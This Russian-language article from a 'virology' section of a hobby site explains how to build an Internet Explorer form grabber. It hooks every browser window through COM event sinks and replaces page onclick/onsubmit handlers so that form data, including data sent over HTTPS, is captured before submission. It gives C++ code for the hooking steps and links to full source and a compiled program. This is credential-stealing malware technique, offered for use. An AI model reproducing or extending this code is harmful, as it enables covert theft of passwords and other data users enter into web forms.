Форма входа
Программирование
Видеоуроки
Личное
Гость


Выход
Статистика
Проверка тиц и PR
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Друзья сайта
MEGAsoft-Все для uCoz
Реклама
Главная » Статьи » Веб » Вирусология

Перехват данных форм Internet Explorer
Задача - перехватить данные форм IE непосредственно перед отправкой их на сервер через протоколы http и https. Решают эту задачу по-разному, мне известно несколько способов, один их них, например, перехват API вызовов библиотеки WinInet, здесь вся проблема в реализации самого перехвата, т.к. код на переносим между 9x и NT системами, если не используется драйвер, а внедрение через CreateRemoteThread(), то изменяется память процесса и многим фаерам/антивирусам это не понравится, но эта статья не о перехвате API, а о перехвате форм. Я хочу рассмотреть реализацию перехвата посредством технологии COM (Component Object Model), удобен он тем, что работает одинаково как на 9x, так и NT+ системах, не требует драйверов, дополнительных dll, перехватывает данные из программ вроде MyIE и имеет лишь одно ограничение - несовместимость с IE версий младше 4.0, но будем надеяться, что столько архаичные версии уже никто не использует.

Для успешного понимания потребуются некоторые знания основ COM и C++, настоятельно рекомендую ознакомиться с книгой Дейла Роджерсона "Основы COM", которую можно скатать отсюда www.podgoretsky.com/classics.html, в ней простым, понятным языком на примерах объясняются базовые принципы работы с технологией COM. Данный исходный код легко переносится на MASM/Delphi (в первый раз я написал это все на MASM'е), если у вас возникнут вопросы по поводу реализации на одном из этих языков, пишите на мыло или ICQ (координаты в конце статьи).

В конце статьи прилагается полный исходный код, который должен без проблем компиляться на Visual C++ .NET и более новых версиях компилятора, и откомпилированная программа. Все тестировалось на XP SP2, Win2k SP2. Далее приведен краткий алготрим перехвата, за более подробными деталями см. исходник.

Перехват
~~~~~~~~

Работу перехватчика форм можно разделить на несколько частей:
1. Перехват создаваемых окон Explorer'а
2. Перехват событий Internet Explorer'а (закачка страницы/закрытие окна)
3. При закачке страницы необходимо перехватить обработчики, при которых будут читаться формы (например, клик на линк или кнопку submit)
4. Вывод форм, если вызывается необходимый нам обработчик

Перехват создаваемых окон
~~~~~~~~~~~~~~~~~~~~~~~~~

Здесь все просто. С помощью CoCreateInstance() создаем экземпляр компонента IShellWindows, далее, подключаем к нему обработчик извещений (DShellWindowsEvents), который как раз и получает события о создании окна. Обработчики подрубаются стандартным методом - поиск точки соединения через интерфейс IConnectionPoint и подключение к этой точке нашего компонента (класса) через функцию Advice(). Код подключения компонента выглядит примерно так:


// Src - к чему соединяемся, Sink - класс, готовый принимать извещения, riid - интерфейс взаимодействия между Src и Sink,
// lpdwCookie - каждому соединению присвается уникальное значение, используемое при дисконнекте
int InterfaceConnect(IUnknown* Src, IUnknown* Sink, REFIID riid, ULONG* lpdwCookie)
{
int r=0;
IConnectionPointContainer* cpc;
if (SUCCEEDED(Src->QueryInterface(IID_IConnectionPointContainer, (void **)&cpc)))
{
IConnectionPoint* cp;
if (SUCCEEDED(cpc->FindConnectionPoint(riid, &cp)))
{
if (SUCCEEDED(cp->Advise(Sink, lpdwCookie)))
r=1;
cp->Release();
}
cpc->Release();
}
return r;
}


Далее наш Sink класс (в моем исходнике это CShellWindowsEvents) начинает принимать извещения через метод IDispatch::Invoke()


HRESULT __stdcall CShellWindowsEvents::Invoke(DISPID dispIdMember, REFIID riid, LCID lcid, WORD wFlags, DISPPARAMS* pDispParams,
VARIANT* pVarResult,EXCEPINFO* pExcepInfo, UINT* puArgErr)
{
if (dispIdMember == 200)
{
// Появилось новое окно
<...>

return S_OK;
}
return DISP_E_MEMBERNOTFOUND;
}


Странно, что параметры при этом никакие не передаются, но окна всегда добавляются в конец текущего листа IShellWindows, поэтому получив последний item из IShellWindows мы и получим только что созданное окно.


VARIANT v;
v.vt = VT_I4;
if (SUCCEEDED(ShellWindows->get_Count(&v.lVal)))
{
v.lVal--;
IDispatch* WindowDisp;
if (SUCCEEDED(ShellWindows->Item(v, &WebBrowserDisp)))
{
// WebBrowserDisp - нужное нам окно
<...>
}

}


Перехват событий Internet Explorer'а
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Метод приема событий такой же как и у IShellWindows. Для этого у WebBrowserDisp (вновь созданного окна) запрашиваем интерфейс IID_IWebBrowser2 и делаем InterfaceConnect(). Надо также помнить, что окна могли быть созданы ранее, поэтому при старте программы необходимо перебрать все окна и установить перехватчик событий, что успешно делает функция HookExplorerWindows():

void HookExplorerWindows(IShellWindows* shellwnd)
{
long count;

// Окон отсутсвуют
if (!SUCCEEDED(shellwnd->get_Count(&count)))
return;

for (int i = 0; i < count; i++)
{
VARIANT v;
v.vt = VT_I4;
v.lVal = i;

IDispatch* WebBrowserDisp;
if (SUCCEEDED(shellwnd->Item(v, &WebBrowserDisp)))
{
IWebBrowser2* WebBrowserIntf;
if (SUCCEEDED(WebBrowserDisp->QueryInterface(IID_IWebBrowser2, (void **)&WebBrowserIntf)))
{
// Начать прием извещений от каждого окна Explorer'а
IUnknown* wbevents_unk = CreateWebBrowserEventsInstance(WebBrowserIntf, TRUE);
DWebBrowserEvents2* wbevents;
if (SUCCEEDED(wbevents_unk->QueryInterface(DIID_DWebBrowserEvents2, (void **)&wbevents)))
{
ULONG dwCookie;
if (InterfaceConnect(WebBrowserIntf, wbevents, DIID_DWebBrowserEvents2, &dwCookie))
printf("Installed explorer hook (cookie): %dn", dwCookie);
wbevents->Release();
}
wbevents_unk->Release();
WebBrowserIntf->Release();
}
WebBrowserDisp->Release();
}
}
}


Установка обработчиков

~~~~~~~~~~~~~~~~~~~~~~

В методе CWebBrowserEvents::Invoke() отлавливаем события: 108 - изменение прогресса, 104 - закачка страницы завершена, 252 - NavigateComplete2, при этих событиях вызываем функцию InstallHooks(), которая сканирует документ (закачиваемую страницу) на предмет форм, кнопок, ссылок и устанавливает новые обработчики onclick, onsubmit, заменяя прежние, здесь надо быть внимательным - сохранять прежние обработчики, т.к. при выходе из программы мы должны будем вернуть их на место. Подрбности установки onclick, onsubmit и тд. в функции InstallHooksCallback(). Метод COnSubmitEvents::Invoke() принимает уже перехваченные события.

HRESULT __stdcall COnSubmitEvent::Invoke(DISPID dispIdMember, REFIID riid, LCID lcid, WORD wFlags, DISPPARAMS* pDispParams,
VARIANT* pVarResult,EXCEPINFO* pExcepInfo, UINT* puArgErr)
{
// Здесь мы будет читать данные форм и выводить их на экран
// <....>

// Передать управление перехваченному контролу
if (this->PrevDisp)
return this->PrevDisp->Invoke(dispIdMember, riid, lcid, wFlags, pDispParams, pVarResult, pExcepInfo, puArgErr);
return S_OK;
}

Необходимо обязательно передать управление перехваченному контролу (кнопке, линку и тд), т.к. если в html будет подобный код: , данные форм будут выведены, а onclick не сработает (ведь, мы на его место записали свой обработчик) и alert() вызван не будет.

Вывод форм
~~~~~~~~~~

Здесь все просто, получаем доступ к IHTMLDocument2 и парсим его данные, как-будто мы хостим IWebBrowser2 сами. В данном коде есть небольшой нюанс - если запущено несколько копий данной программы, то формы могут выводиться несколько раз подряд, проблема в том что при перехвате событий onclick/... обе копии пытаются перехватить его поочередно, навешивая одинаковые обработчики, обойти эту проблему несложно - надо смотреть в коллекции форм/ссылок какие мы уже проверяли и перехватили и пропускать их, даже если там не наш обработчик (новые формы/ссылки добавляются в конец также как и в случае с IShellWindows). Пусть это будет небольшое для тебя задание

Копилефт
~~~~~~~~

Автор не несет ответсвенности за ваши безрассудные действия, модификации и использование этого кода. Если после запуска прилагаемой программы ваша система навсегда уйдет в небытие, это означает, что проблема в ваших руках, а не моих мозгах wink.gif И еще - пусть ударит молния того, кто скажет, что написал данный исходный код сам.

Исходники http://cobans.net/files/download.php?a=ie_hook

© coban2k
E-mail: coban2k[at]xss.ru
ICQ: 74657
Категория: Вирусология | Добавил: Asakura (27.12.2010)
Просмотров: 427 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
 
Реклама